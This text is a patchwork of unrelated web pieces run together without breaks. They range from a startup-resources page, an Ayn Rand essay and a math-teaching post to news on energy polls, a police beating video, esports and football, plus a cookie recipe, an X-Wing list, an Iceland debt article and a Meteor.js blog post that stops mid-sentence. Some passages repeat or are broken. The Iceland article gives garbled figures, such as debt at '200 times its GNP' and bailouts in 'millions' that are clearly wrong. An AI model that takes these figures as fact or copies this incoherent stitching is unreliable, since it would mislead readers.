Berkeley presentations, lectures and syllabus here
Columbia 5-day presentations, lectures and syllabus here
Caltech 5-day presentations, lectures and syllabus here
For some general customer development slides, click here
The Entrepreneur’s Checklist
The good folks at Udemy have taken a few of my lectures at Stanford and put them together in a series online.
The free on-line lectures, hosted at Udemy are here.
Online Guide to How to Build a Startup: The Lean LaunchPad
Startupplays.com, publisher of online entrepreneurs processes guides, drew from my Udacity course and The Startup Owner’s Manual to create a free step-by-step guide to understanding your customers and creating your value proposition. Called “How to Build a Startup: The Lean LaunchPad,” it walks you through the Business Model Canvas and an overview of the customer development process.
Find it here.
Videos
The Slides/Video tab on my blog has a number of my talks on entrepreneurship, customer development, and startup, some short, some long, and a few interesting. Find them here.
Recommended Reading
The “books for startups” tab on the top of this page is my recommended reading list. These books have influenced my thinking. There’s a short synopsis of why I like each book.
Updates and suggestions for books that I’ve missed are welcomed on the books comment page.
Visitors Guide to Silicon Valley
I got tired watching dignitaries fly into Silicon Valley, visit Google, Facebook, Apple, and Stanford and then say they understand startups and entrepreneurship. So for the rest of us I put together this Visitors Guide to Silicon Valley.
Updates and suggestions for places to see that I’ve missed are welcomed on the Guide comments page.
Secret History of Silicon Valley
What began as a hobby of mine – research in the intersection of my military, intelligence and Silicon Valley careers combined with my interest in the history of Silicon Valley and technology entrepreneurship – ended up in this video and PowerPoint presentation. I first gave the Secret History of Silicon Valley presentation as an invited talk at Google, then at the Computer History Museum.
When I gave the talk to audience of CIA staffers, they asked how I came up with the talk, so I wrote a series of posts as the back-story that can be found here.
I still love giving this talk to people who lived it and people curious about it.
Almost Free:
Startup Weekend Next
Startup Weekend Next is a three-week version of the Lean LaunchPad class with hands-on instructors and mentors – offered in hundreds of cities around the world.
The class is organized, led and delivered by Startup Weekend, the global non-profit that teaches entrepreneurs how to launch a startup in 54 hours.
TechStars and Startup America are partnering to provide mentors in the U.S.
They don’t ask for equity and charge just enough to cover the costs of pizza and the room rental. Sign up here.
The Lean LaunchPad Educators Course
Hosted by NCIIA, Stanford University and U.C. Berkeley, Jerry Engel and I teach a course for educators interested in learning how to update and revise their entrepreneurship curriculum for the 21st century as well as learning how to teach the Lean LaunchPad class.
The Lean LaunchPad Educators Training Guide here is part of this course.
Next class is Jan 30th. Click here for more information.
The Startup Owner’s Manual
The Startup Owners Manual written with Bob Dorf, has become the step-by-step reference manual for anyone even thinking about a startup. Each section offers detailed guidance and how-to’s, helping you make your way through the Customer Development process using MVP’s and pivots as you search for a business model.
Last month we added a Kindle version, reorganized to make it easier to follow on a tablet and incorporating hundreds of links to websites, blog posts, and presentations.
The Founder’s Workbook
Zoomstra, the publisher of online workbooks offers The Founders Workbook to help you track and monitor your progress through every step of the Customer Development process. It takes the static 57 checklists from The Startup Owner’s Manual and makes them dynamic and accessible by putting them online as an interactive checklist. Use it to keep your team on track and ensure you have completed each critical task as you search for a scalable business model.
Click here for more information.
The Four Steps to The Epiphany
The Four Steps to the Epiphany has been described as the book that launched the Lean Startup movement. The book is still relevant today as when it was written. The last two chapters deal with scale and management of growing startups.
Now get out of the building and make something happen!
The people are demoralized, dejected, depressed, hopeless.
This book puts the central focus on the key failing of socialism: its opposition to progress.It all sounds uncomfortably familiar. The book in question is Ayn Rand’s 1938 masterpiece Anthem.
It’s my personal favorite of her books, even though it is far less known than her other works. She understood something about socialism that eluded many of her contemporaries and continues to confuse people today.
Socialism and interventionism are never about progress. They force regression. This is because they stamp out creativity and individualism. A truly totalitarian world would not and could not be prosperous. It would be a world of grueling poverty.
Rand understood because she had seen this with her own eyes as a little girl in Russia. This spectacular novel presents the stark reality in fictional form.
Publishers Reject the Book
“The author does not understand socialism,” read the letter from MacMillan in reply to the submission of the novella. They turned it down. Actually, the publisher didn’t understand socialism. Hardly anyone did in 1937, when this book was written.
Rand, however, did understand socialism. She understood it so well that she knew it would result in the opposite of what it promised and that its proponents would eventually come to embrace its grim reality, rather than repudiate the system of thought.
In many ways, this book is one of the best dystopian novels ever written because it puts the central focus on the key failing of socialism: its opposition to progress.
We’ve adopted features of the system she fled.How is that possible given that progress is a central slogan in socialist thinking? The problem is that by collectivizing private property, socialism removes the machinery of progress itself. It abolishes prices and profits and calculation and the incentive to create. It puts a premium on political control, and politics resent the revolutionary implications of entrepreneurship. Therefore, a consistently socialist society would not only be poor and backward; it would revel in those features and call them the goal.
Think about it. This book was written the late 1930s, long before the environmental movement and long before the primitivist streak in socialist thinking was to emerge as an outright agenda to be imposed by force. But as a child in the old Soviet Union, Rand had seen it in action. She had seen how entrepreneurship and creativity had to be sacrificed for the collective, and how this drove civilization straight into the ground. A totalitarian society would not be a world with amazing technology and flying cars, but would exist only at a subsistence level. And it would try to stay that way.
Rand's World Is Our World
This is an excellent time to reread this book or encounter it for the first time. Every day, regulatory agencies are pouring out mandates that degrade our technology. They are degrading our washing machines, dishwashers, soaps, paint, light bulbs, toilets, water systems, lawn mowers, medicines, microwaves, showers, hot water heaters, gasoline and gas cans, and probably thousands of other things. These regulations are passed in the name of the environment, security.
Their one result is to drive us back in time, making the future worse than the present and probably even worse than the past.
We cannot give up our ideals. We must have development, innovation, and progress because they are the sources of life, and we cannot give up life.That’s only the beginning. Through intellectual property laws, the state literally assigned ownership to ideas that are the source of innovation, thereby restricting them and entangling entrepreneurs in endless litigation and confusion. Products are kept off the market. Firms that would come into existence do not. Profits that would be earned never appear. Intellectual property has institutionalized slow growth and landed the economy in a thicket of absurdity.
So we’ve finally come full circle in the land to which Rand emigrated because it was a free country. We’ve adopted features of the system she fled. In that sense, this small book is an amazing critique of precisely the unfreeness of the system under which we increasingly live. In that sense, the dystopian world she presents is a distilled version of where we are headed too. Even the author’s theory that the word “I” is the thing that is most feared by the regime has resonance.
What is the way out? We cannot give up our ideals. We must have development, innovation, and progress because they are the sources of life, and we cannot give up life.
"An all-new era begins this May as Marvel’s Mightiest Mavens assemble for an explosive new series launching during Secret Wars! Today, Marvel is pleased to present your new look inside the blockbuster A-FORCE #1 – from the creative team of G. Willow Wilson (Ms. Marvel), Marguerite Bennett (Angela: Asgard’s Assassin, James Patterson’s Max Ride: First Flight) and Jorge Molina (X-Men)!
"As the Secret Wars begin, the Avengers as you know them are no more – and a new team will lead the way! In a secluded corner of Battleworld lies Arcadia, an island nation fiercely protected by a team of Avengers the likes of which has never been seen before!
"So who are the Marvel powerhouses taking center stage? 'She-Hulk, Dazzler, Medusa, Nico Minoru and other fan favorites, will take charge,' says series co-writer G. Willow Wilson. 'We've purposefully assembled a team composed of different characters from disparate parts of the Marvel U, with very different power sets, identities and ideologies.'
"And there came a day unlike any other, when Earth’s Mightiest Heroines found themselves united against a common threat. Fighting to protect the small sliver of their world that’s left, they stand tall, shoulder-to-shoulder, ready to take on the horde. Ushering in a new day with a rallying cry heard across Battleworld – A-FORCE ASSEMBLE!
Newell doesn't directly refer to the in-development engine as "Source Engine 2," so it's possible (albeit unlikely) that he's referring to a separate engine altogether, or (even more unlikely) Valve has more than one game engine being created. We've yet to hear back from Valve for clarification.
During my career, the main reasons why a student may not understand an aspect of mathematics can be categorized into one of the five following reasons.
#1 Bad Prof!
The teacher explained the idea poorly: context not provided, insufficient examples, illustrations, or an excess of speed.
Symptoms: more than one student will be confused, often a significant number.
more than one student will be confused, often a significant number. Strategy / Approach: a student should let the teacher know that a repeat, rewording, or further illustration may be helpful as the idea is still unclear.
#2 Google Translate Anyone?
Perhaps some of the vocabulary was not introduced properly before it was used, or students are unfamiliar due to a different international/cultural background.
Symptoms: most students show confusion if the teacher failed to introduce vocabulary appropriately, or a small number of students show confusion if a word has been assumed to be understood but different past experiences in students reveal a gap somewhere.
most students show confusion if the teacher failed to introduce vocabulary appropriately, or a small number of students show confusion if a word has been assumed to be understood but different past experiences in students reveal a gap somewhere. Strategy / Approach: students must immediately ask so that the consequences of the vague terminology don’t spread any further. Time is of the essence in this case -keyword- immediate!
#3 Squirrel!
The student was not listening properly due to being distracted by an internal or external factor. Sometimes, even when a student is trying to be attentive, the right attitude is not present and the chain of connections attempted by the teacher was lost somewhere. This can very easily happen, and has happened to me more times than I can count — and I can count pretty well!
Symptom: a single student or small number will be confused / a little lost – often asking a friend nearby for help. T his is one of the most delicate and important situations, and needs to be solved artfully. First of all, the student feels an increased guilt at feeling like other students “got it” but they didn’t. This makes them less likely to ask the teacher for help. Secondly, if the explanation is still going, they may distract their friend, causing secondary confusion.
his is one of the most delicate and important situations, and needs to be solved artfully. First of all, the student feels an increased guilt at feeling like other students “got it” but they didn’t. This makes them less likely to ask the teacher for help. Secondly, if the explanation is still going, they may distract their friend, causing secondary confusion. Strategy / Approach: The correct strategy here (and for this, each student in the class must make a commitment to the rest of the class that they will try to be mindful of this) is for the student to put their hand up and say something along the lines of – I’m sorry I missed a step somewhere between x and y – can you go over it for me?
If the teacher is “on a roll” and other students are engaged, the student should wait until the end of that segment and then stop the teacher — this is key. Another few segments down the line, the teacher may get frustrated that they were not stopped sooner. So what? The teacher will get over it – but if you can avoid it, all the better, na?
#4 Shaky Foundations
The ideas discussed here are based on a previous mathematical concept being shaky for one or more students.
Symptom: a deeper worry in the student – this is highly concerning as it gives the student the feeling that they are in a lot of trouble, since there is a piling up of rusty or confusing material.
a deeper worry in the student – this is highly concerning as it gives the student the feeling that they are in a lot of trouble, since there is a piling up of rusty or confusing material. Strategy / Approach: this requires a separate conversation with the teacher. This is perhaps the most important responsibility of the student. They need to take control of their learning and start a dialogue which they will have to chase until they feel the previous concept has been covered to their satisfaction.
For a student to simply state “I’m not very good at quadratics” and then hope for the teacher to provide all the required material and time for them to cover the knowledge gap is insufficient and wishful thinking. There needs to be a deliberate, ongoing conversation. This is where many students become complacent and damage their enjoyment and progress in the subject significantly.
Granted, in an ideal world the sole mention of a shaky foundation will trigger the teacher into a sequence of actions that will help the student overcome their gap in full. But with all the things going on in the head of the teacher, this is a little unrealistic, and with him being human and all, the effort needs to be two sided. Much of this may happen, especially at TGS, outside of class time. This means time needs to be scheduled — often one single session will suffice for a gap, other times a little more is needed.
#5 Sleepy Panda
The student was exhausted for reasons x,y,z. Tired at school? How come, surely not! This one is key, guys.
Symptom: the student may become frustrated or have grumpy reactions to the efforts by their teacher to animate them; may become negative and/or stubborn. Otherwise, student may seem totally disconnected, withdrawn or absent.
Strategy / Approach: encourage the student to get sleep. Help them understand their limits, and the fact that life is way more joyful and plentiful when they are rested. Let them know their tiredness can affect others around them.
Secondly, the student should let the teacher know at the beginning of the class that they are tired, so the teacher can be mindful, a little more tactful, and patient. This will really help and potentially make the student less grumpy, as they no longer need to hide or get defensive about their tiredness. We all get exhausted from time to time. A second session can be arranged outside of class when the student’s feeling better, or another student may be able to lend a hand after class. Perhaps the student ought to do some quick warm up exercise to oxygenate the body, or take a nap so they are fit and better for the next class – yes, I mean it 🙂
At present, I cannot think of other reasons why a student may be confused about the beautiful subject of mathematics. There is certainly no lack of insight or capacity in a single student I currently teach.
But what about the teacher?
We can be tired, too! That being said, I aim to be well rested each day so that I avoid feeling cloudy and in possession of a grumpy mind.
Commitments for fostering a positive community of maths learners
As an instructor, I hope a couple of positive things come out of your having read this. First, I hope you realize that in order to maintain a healthy community learning environment, you and your students must collaborate to make sure they feel comfortable asking questions and asking each other for help. At the same time, you must be mindful of timing. You cannot explain a key concept without introducing its context, and it shouldn’t be explained at the end of the class, either. Timing, timing, timing.
Students need to be aware of timing, too. Help them choose the right moment for their questions: too late and it will take more work to fix, too early and it may cut into the middle of an argument. It’s important for students to learn this skill. You can direct them and give them feedback — even when they ask impetuously and without regard for timing. If you give them feedback kindly, they will get better at asking, and this will contribute to the flow of the lesson. Often it’s enough to wait for less than a minute for a chain of ideas to reach a “checkpoint” where it’s safe to interrupt.
In all of the above, there is a great deal of emphasis on what the student ought to do, and this is partly because as a teacher it is difficult to perceive every students’ state of understanding.
Closing Notes
As ample research has demonstrated, stress, feelings of shame and inner conflict are the worst possible mental states for a student to be in while learning. I encourage you to foster an open communicative environment, applying creative solutions to the roadblocks you may encounter. If a student knows you are looking for factors that can help them in their learning and not placing the blame for not understanding on their learning capacity, ultimately, they will feel safe to make mistakes and to be adventurous in their thinking, and in their asking.
As teachers, it’s our job to stop these five issues from arising as little as possible by planning activities that are approachable and realistic. I hope this list of frequent reasons for misunderstanding serve you well in your classroom and aids your students in reaching their fullest potential. I chose to share them with my students, and I noticed an improvement in communication and a reduction of feelings of inadequacy circling the classroom.
From time to time, I like to remind my students and myself of the following idea, on which this current post is based: in a relaxed environment, when the teacher uses vocabulary that the students understand, when context is provided, and concepts are layered with no assumptions, the student is likely to succeed in understanding every single time.
The new poll, released Monday, shows that 27 percent said fossil fuels should be a priority, compared with 65 percent who favored renewable energy. Public support for renewable fuels has risen 5 percentage points since 2014, Pew said, with 81 percent of Democrats and 45 percent of Republicans now backing it as a priority. Among those aged 18 to 49, 73 percent favored renewables, compared with half of those over 50.
Renewable energy gets scant attention on the new president’s agenda. Many climate scientists say investing in clean energy, such as solar, water and wind power, can help combat climate change. Instead, Trump has called climate change a “hoax” and has pledged to revive the coal industry by stripping environmental regulations ― ignoring pleas from more than 800 science and energy experts.
Trump’s “America First Energy Plan” is outlined on the White House website, which featured former President Barack Obama’s robust climate action plan before it was taken down hours after last week’s inauguration.
The new president’s energy plan boasts that the Trump administration:
... will embrace the shale oil and gas revolution to bring jobs and prosperity to millions of Americans. We must take advantage of the estimated $50 trillion in untapped shale, oil, and natural gas reserves, especially those on federal lands that the American people own.
The plan echoes a November video message posted to YouTube in which Trump pledged to undo fossil fuel restrictions his first 100 days in office and create “many millions of high-paying jobs” in coal and shale.
Trump’s chief of staff, Reince Priebus, issued an executive memorandum hours after the inauguration, freezing all new government rules and regulations, including four Obama administration rules to boost energy efficiency.
Trump’s fondness for petroleum shows in his proposed Cabinet, which includes former Exxon Mobil CEO Rex Tillerson as secretary of state, and Oklahoma attorney general and climate-denier Scott Pruitt as head of the Environmental Protection Agency.
Kevin Lamarque / Reuters Police remove a protester at the Senate Foreign Relations Committee confirmation hearing for Rex Tillerson, the former chairman and chief executive officer of Exxon Mobil, on Capitol Hill in Washington, U.S. January 11, 2017.
Trump has been antagonistic to renewable energy. He said in August that solar, the fastest-growing source of energy, “has a lot of problems” and is “not working so good.” Wind farms, he tweeted in 2012, are “disgusting looking” and were “killing the finances and environment of many countries and communities.”
Last year proved the hottest year on record, resulting in severe weather that included extreme flooding and deadly wildfires. Still, the Pew Research Center poll found just 12 percent of conservative Republicans and Republican leaners believe climate change is a major threat to the well-being of the United States.
Leaders in dozens of cities are standing up to Trump, pledging commitment to renewable energy.
“We ask that you lead us in expanding the renewable energy sources we need to achieve energy security [and] address climate change” a group of mayors wrote in a November open letter to Trump. “While we are prepared to forge ahead even in the absence of federal support, we know that if we stand united on this issue, we can make change that will resonate for generations.”
They’re here to tell you that they’re a little to big, a little too sweet, have a little too much bacon, and yea… too much chocolate, too. They’re crisp and they don’t care about your affection for chewy. They’re gluten-free, but really… they never needed gluten in the first place. They’re the boss. They know it. Don’t play.
Peanut Butter.
Bacon.
Dark Chocolate.
Get on the bandwagon before these cookies raise their voice. Nobody wants that.
See also: Peanut Butter Bacon Pancakes. Sorry. Also, not sorry.
These cookies are so easy you’re going to feel like you’re cheating… like you’re getting way with something… like you’re part human and part bacon-cooking genius. (Because bacon-cooking geniuses aren’t human. We all know that.)
Peanut butter plus two sugars: granulated and brown. A one to one ratio. Once cup peanut butter and one cup sugar.
We’re off to a good start.
An egg too.
Maybe a dash of vanilla extract if you’re feeling extra fancy.
And we can’t forget the baking soda.
But that’s it!
There’s no flour in these cookies. They’re the ultimate in gluten-free because there never was any gluten to begin with!
The cookies stick together with the magic of peanut butter and egg. It’s a baking science that we should just acknowledge, accept, and appreciate.
The cookie batter will be rather thick, a bit greasy (don’t be scared), and maybe a bit grainy, too (still don’t be scared).
Add chopped bacon and chocolate: generous and aggressive.
Rolled into large balls making sure to get lots of bacon and chocolate in each cookie.
Rolled in sugar. That’s just the way of the peanut butter cookie.
Big, stacked, sweet, salty, peanut butter-y GOOD!
7-Eleven typically offers two different coffee cup options for its 7-Election promotional campaign, each named for one of the presidential candidates from the two major political parties. This year, however, there are three options: Republican, Democrat, and “Speak Up.” No candidate names.
The nondenominational “Speak Up” cup is currently winning the poll by a pretty fair margin. It offers coffee drinkers the opportunity to pencil in their own political stance, or abstain from pouring their brew into a partisan container to maintain their political purity.
We reached out to 7-Eleven for comment. “During prior 7-Election campaigns, our customers told us that they wanted a third cup option,” Laura Gordon, vice president of marketing and brand innovation for 7-Eleven, Inc., told Vocativ in an e-mail. “Based on that feedback, we developed the ‘Speak Up cup’ to enable customers to join in the patriotic fun regardless of whether they identify with a specific party or not. It’s perfect for those who prefer bipartisan coffee, are undecided or don’t want to publicly display their political persuasion.”
That’s some strong, hot copy from the marketing team. At present, ~30 percent of the consumers have chosen Democrat, 30 percent Republican, with 41 percent choosing to go their own way.
With the exception of Idaho and Iowa, which are both leaning Republican in 7-Eleven’s poll (and in real life) coffee drinkers in the 32 states with 7-Eleven locations are favoring the “Speak Up” cup.
“Obviously, this election is very polarizing, so it’s not that surprising that 7-Eleven customers are choosing to speak their mind and write in what’s important to them this election season with the Speak Up Cup,” Gordon said, getting closer to what seems like the truth.
Fortune and Five Thirty Eight (among others) have pointed out that Americans’ distaste for the main candidates is potentially record-breaking. Clinton and Trump both have unfavorable polling figures the likes of which America has never seen. That, rather than a clamouring call by 7-Eleven’s loyal coffee drinkers for more freedom of expression, probably explains why 7-Eleven added a non-partisan cup choice. It also explains why a company might strip the candidate’s names from their cups, opting simply for their “Democrat” or “Republican” political affiliation. The campaign only includes 7-Eleven’s extra-large coffee cups. If the only options you had were to press your soft lips against a “Hillary” or “Trump” cup, you might opt for a smaller, less lucrative coffee option. (The company claims that its production timeline was the reason for this switch-up).
“In years past, party frontrunners have been clear earlier in the primary process, which allowed us to include the nominees on the 7-Election cups,” Gordon said. Donald Trump became the presumptive nominee on May 4. The coffee campaign launched at the end of August.
Not that the party-affiliated cups are getting much play, consistent with data that shows how it’s not just the candidates that have the American public frustrated, but their respective parties as well. Gallup recently reported that Democratic and Republican identification are at near historical lows.
@7eleven get more neutral LG cups. I will buy Medium rather than b seen w/ republican or democrat cup. #7Election pic.twitter.com/fDchkwn35i — Jason (@__Jason1__) September 19, 2016
Thenearly two-minute-long video,recorded on June 4, shows the DeKalb County officer beating the woman and threatening to shoot her as she struggles on the ground of a convenience store.
Though police reported that the woman was unarmed, she was at times seen using her legs to try to kick the officer. There’s at least one moment when she doesn’t appear to move at all before she’s repeatedly hit.
Dekalb County police spokeswoman Shiera Campbell said the renewed investigation is in response to the video appearing on social media over the weekend.
“It’s more we’re looking at the video to see if it aligns with the officer’s statement. Right now, what he put in his report is consistent with the video,” she told HuffPost on Tuesday.
According to the police report, the officer, who is not identified, was responding to a complaint of a woman asking for money from customers inside the store. When he approached the woman, identified as 38-year-old Katie McCrary, she presented herself as a federal agent and gave a random badge number.
When the officer reportedly warned her that she could be arrested for impersonating an officer, McCrary accused him of impersonating an officer himself and then grabbed his badge, his vest and radio. Those acts led to the violent scuffle on the ground.
“Let go or I’m going to shoot you,” the officer is heard twice telling her after she grabs his baton. People standing off camera are heard telling the woman to “stop resisting.” A woman also pleads with the officer to not shoot.
Katie McCrary, 38, was arrested for allegedly obstructing or hindering law enforcement officers. More
At one point, the officer is seen using the stick to press the back of McCrary’s neck down to the ground.
In the arrest report, he said he delivered an “unknown amount of baton strikes to her left leg.” When she didn’t comply with his orders to put her hands behind her back, he continued to hit her legs and forearms.
“One strike inadvertently struck the side of her head as she was moving around,” he reported.
After being placed under arrest, McCrary was examined at the scene by an EMS unit before transported to the DeKalb County Jail. She was then sent to Grady Memorial Hospital for further evaluation, according to the arrest report.
The officer reported seeing a “1/2 inch laceration on her left shin and a welt on her left forearm.“
An internal investigation following the matter “found that the use of force was justified,” Campbell said.
“The officer was cleared, following the Internal Affairs investigation,” the police department said in a statement. “Now that the Department has this new evidence we have reopened the investigation and will determine whether the incident is consistent with policy and the law.”
McCrary was arrested for obstructing or hindering law enforcement officers. TheAtlanta Journal-Constitutionreported that she was behind bars on Monday for an unrelated prostitution charge.
At Combo Breaker 2017 in Illinois today, KoDee, a Kazuya player who had just been on the wrong end of a perfect round against Tanukana’s Xiaoyu, was quick to hit the PlayStation guide button and check the resolution, to the crowd’s, commentators’, and his opponent’s surprise.
After changing the resolution and moving on to the next game, the commentators elaborated. Some pros believe that the game performs better when played at 720p rather than 900 or 1080p, and though it’s still unproven to be the case in Tekken 7, KoDee apparently believed that to be a reason for his performance in game one.
It would follow, then, that KoDee should perform better in this new resolution. But Tanukana, who was on a roll today from the main stage, seemed impervious to the resolution change.
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Tanukana took game two in another 3-1, and moves on to the winner’s semifinals, sending KoDee and his guide button to the loser’s bracket. To his credit, KoDee took the loss in stride, and will have a chance to fight back up through the top eight later tonight.
The top 24 matches are done, but if you want to catch Tanukana and the rest of the top Tekken 7 players fight for the top prize, finals start later tonight at 9 p.m. ET on Twitch.
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Update [8:13 p.m. ET]: KoDee has reached out via Twitter to say he does not blame the resolution for his loss, and that “at least 5 people” have also complained of lag related to resolution.
West Ham were "two hours" away from appointing Rafael Benitez as manager in the summer before hiring Slaven Bilic, Hammers co-owner David Sullivan says.
"We were two hours from getting Benitez and then Real Madrid came in. We had agreed a contract," Sullivan said.
"He is a top manager whatever anybody says, and I think he'd have done a wonderful job for us."
Sullivan also said West Ham approached Jurgen Klopp, who joined Liverpool instead to replace Brendan Rodgers.
Slaven Bilic, who played 54 times for West Ham between 1996 and 1997, was appointed manager in June
"We tried Klopp as well but he wouldn't come because he said he wanted a break. But I'm glad with the manager we have got," added Sullivan.
West Ham are 10th in the Premier League and have lost only four league matches since former Croatia boss Bilic took over.
All Wings Report In
X-Wing “Wedge Antilles” (X-Wing Expansion) (38 pts) (PS 9)
When attacking, reduce the defender’s agility value by 1 (to a minimum of “0”).
Elite Pilot Talent- Push the Limits (A-Wing/Imperial Aces Expansions): Once per round, after you perform an action, you may perform 1 free action shown in your action bar. Then receive 1 stress token.
Push the Limits (A-Wing/Imperial Aces Expansions): Once per round, after you perform an action, you may perform 1 free action shown in your action bar. Then receive 1 stress token. Astromech- BB-8 (TFA Core) – When you reveal a green maneuver, you may perform a free barrel roll action
BB-8 (TFA Core) – When you reveal a green maneuver, you may perform a free barrel roll action Modification- Engine Upgrade (Millenium Falcon/Hound’s Tooth Expansions) – Your action bar gains the Boost action icon.
A-Wing “Jake Farrell” (Rebel Aces Expansion) (28 pts) (PS 7)
After you perform a focus action or are assigned a focus token, you may perform a free boost or barrel roll action.
Elite Pilot Talent – Wired (TFA Core): When attacking or defending, if you are stressed, you may reroll 1 or more of your Focus results.
– Wired (TFA Core): When attacking or defending, if you are stressed, you may reroll 1 or more of your Focus results. Elite Pilot Talent- Push the Limits (A-Wing/Imperial Aces Expansions): Once per round, after you perform an action, you may perform 1 free action shown in your action bar. Then receive 1 stress token.
Push the Limits (A-Wing/Imperial Aces Expansions): Once per round, after you perform an action, you may perform 1 free action shown in your action bar. Then receive 1 stress token. Modification- Autothrusters (StarViper Expansion) – When defending, if you are beyond Range 2 or outside the attacker’s firing arc, you may change 1 of your blank results to an Evade result. You can equip this card only if you have the Boost action icon.
T-70 X-Wing “Blue Ace” (TFA Core) (33 pts) (PS 5)
When performing a boost action, you may use the (Hard Right 1) or (Hard Left 1) template.
Astromech- R2-D2 (Original Core) – After executing a green maneuver, you may recover 1 shield (up to your shield value).
R2-D2 (Original Core) – After executing a green maneuver, you may recover 1 shield (up to your shield value). Modification- Autothrusters (StarViper Expansion) – When defending, if you are beyond Range 2 or outside the attacker’s firing arc, you may change 1 of your blank results to an Evade result. You can equip this card only if you have the Boost action icon.
Lock S-Foils in Attack Position
This list can move in ridiculous and mysterious ways. Wedge with BB-8, PTL and Engine Upgrade is phenomenal. Reveal green, barrel, push to TL then move and remove the stress so you can then Focus or Boost. He’s really hard to pin down with that flexibility. And at PS 9 he’s moving after almost everyone else. Then when he shoots you, often with Focus + Target Lock, you have to roll one less die.
Then there’s Jake whose the only A-wing with an effective native Barrel Roll. Combine that with PTL and he’s boosting, evading or target locking as well. This makes him very good at arc dodging or, in combination with Autothrusters and Wired, turtling. He doesn’t hit very hard with no Prockets but it will take awhile to kill him.
Then there is Blue Ace. The unsung hero of this list. You don’t want to shoot at him early. You want to kill Wedge because if you don’t, Wedge will mess you up. But then you’re left with Blue Ace in the end game. And he has three shields with R2-D2. In one game he ate a couple shots because Wedge was out of arc and was shieldless. But then they resumed focusing on Wedge and by the time Wedge died, Blue Ace was at full health again.
His ability is also under rated. You can end up in some good angles by taking a soft turn followed by a hard turn boost. He can also effectively get a hard turn green by one straight, recover a shield, and then hard turn. It’s not a maneuver you see often and people don’t really expect it when it happens.
Like all three ship lists it’s vulnerable to swarms. If they spread out to take away your ability use any of the fancy maneuvering you could get chewed up. Two ships with autothrusters allows it to do pretty well against turrets, though Wedge if he can’t get into the donut hole, won’t last to long against TLT spam. Fortunately for him, he can Boost to get close.
Variations
There aren’t a lot of variations to this list without losing it’s strength’s. It’s points are really optimized already. You could trade Wired for Veteran Instincts to make Jake a PS 9. Likewise you could trade one of the Autothrusters and Wired to give Jake Outmaneuver so that he can effectively gain Wedge’s ability.
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As one European country after another fails or risks failing, imperiling the Euro, with repercussions for the entire world, the last thing the powers that be want is for Iceland to become an example. Here's why:
Five years of a pure neo-liberal regime had made Iceland, (population 320 thousand, no army), one of the richest countries in the world. In 2003 all the country’s banks were privatized, and in an effort to attract foreign investors, they offered on-line banking whose minimal costs allowed them to offer relatively high rates of return. The accounts, called IceSave, attracted many English and Dutch small investors. But as investments grew, so did the banks’ foreign debt. In 2003 Iceland’s debt was equal to 200 times its GNP, but in 2007, it was 900 percent. The 2008 world financial crisis was the coup de grace. The three main Icelandic banks, Landbanki, Kapthing and Glitnir, went belly up and were nationalized, while the Kroner lost 85% of its value with respect to the Euro. At the end of the year Iceland declared bankruptcy.
Contrary to what could be expected, the crisis resulted in Icelanders recovering their sovereign rights, through a process of direct participatory democracy that eventually led to a new Constitution. But only after much pain.
Geir Haarde, the Prime Minister of a Social Democratic coalition government, negotiated a two million one hundred thousand dollar loan, to which the Nordic countries added another two and a half million. But the foreign financial community pressured Iceland to impose drastic measures. The FMI and the European Union wanted to take over its debt, claiming this was the only way for the country to pay back Holland and Great Britain, who had promised to reimburse their citizens.
Protests and riots continued, eventually forcing the government to resign. Elections were brought forward to April 2009, resulting in a left-wing coalition which condemned the neoliberal economic system, but immediately gave in to its demands that Iceland pay off a total of three and a half million Euros. This required each Icelandic citizen to pay 100 Euros a month (or about $130) for fifteen years, at 5.5% interest, to pay off a debt incurred by private parties vis a vis other private parties. It was the straw that broke the reindeer’s back.
What happened next was extraordinary. The belief that citizens had to pay for the mistakes of a financial monopoly, that an entire nation must be taxed to pay off private debts was shattered, transforming the relationship between citizens and their political institutions and eventually driving Iceland’s leaders to the side of their constituents. The Head of State, Olafur Ragnar Grimsson, refused to ratify the law that would have made Iceland’s citizens responsible for its bankers’ debts, and accepted calls for a referendum.
Of course the international community only increased the pressure on Iceland. Great Britain and Holland threatened dire reprisals that would isolate the country. As Icelanders went to vote, foreign bankers threatened to block any aid from the IMF. The British government threatened to freeze Icelander savings and checking accounts. As Grimsson said: “We were told that if we refused the international community’s conditions, we would become the Cuba of the North. But if we had accepted, we would have become the Haiti of the North.” (How many times have I written that when Cubans see the dire state of their neighbor, Haiti, they count themselves lucky.)
In the March 2010 referendum, 93% voted against repayment of the debt. The IMF immediately froze its loan. But the revolution (though not televised in the United States), would not be intimidated. With the support of a furious citizenry, the government launched civil and penal investigations into those responsible for the financial crisis. Interpol put out an international arrest warrant for the ex-president of Kaupthing, Sigurdur Einarsson, as the other bankers implicated in the crash fled the country.
But Icelanders didn't stop there: they decided to draft a new constitution that would free the country from the exaggerated power of international finance and virtual money. (The one in use had been written when Iceland gained its independence from Denmark, in 1918, the only difference with the Danish constitution being that the word ‘president’ replaced the word ‘king’.)
To write the new constitution, the people of Iceland elected twenty-five citizens from among 522 adults not belonging to any political party but recommended by at least thirty citizens. This document was not the work of a handful of politicians, but was written on the internet. The constituent’s meetings are streamed on-line, and citizens can send their comments and suggestions, witnessing the document as it takes shape. The constitution that eventually emerges from this participatory democratic process will be submitted to parliament for approval after the next elections.
Some readers will remember that Iceland’s ninth century agrarian collapse was featured in Jared Diamond’s book by the same name. Today, that country is recovering from its financial collapse in ways just the opposite of those generally considered unavoidable, as confirmed yesterday by the new head of the IMF, Christine Lagarde to Fareed Zakaria. The people of Greece have been told that the privatization of their public sector is the only solution. And those of Italy, Spain and Portugal are facing the same threat.
They should look to Iceland. Refusing to bow to foreign interests, that small country stated loud and clear that the people are sovereign.
Three months ago, together with my business partners at RST-IT, I decided to build a MVP (minimum viable product) of virtual whiteboard. Leanboard.it (the app’s name) was going to allow its users to:
create virtual whiteboards,
share the boards with friends,
simultaneously draw on shared boards with friends.
My initial approach was to build it on Ruby on Rails, so started to think “which libraries I should use to build it?”, and came up with the following list:
RoR as an API server,
angularjs on yeoman as web client,
nodejs with socket.io as a websocket library (client and server)
and redis - allowing sharing data between node and RoR apps.
Stack was definitely too complicated. I needed something simpler, so I started to look for other solutions. And that is how I came across meteorjs and decided to give it a try.
First impression
I started to code the application in meteorjs. After four hours I had a working prototype deployed online. Not kidding: four hours with zero knowledge of how meteorjs works.
It was insane - those are several things that just blew my mind
css, js and html modules
Meteor doesn’t have dedicated places for css, js and html files. It means that you can put files responsible for the same UI element in the same folder. Thus you can create totally autonomous frontend modules. These modules can read user input, perform validation, and store data in a database.
super easy deployment
Deploying meteorjs apps for testing is super easy. Just run
publify:code
meteor deploy yourappname.meteor.com
</publify:code>
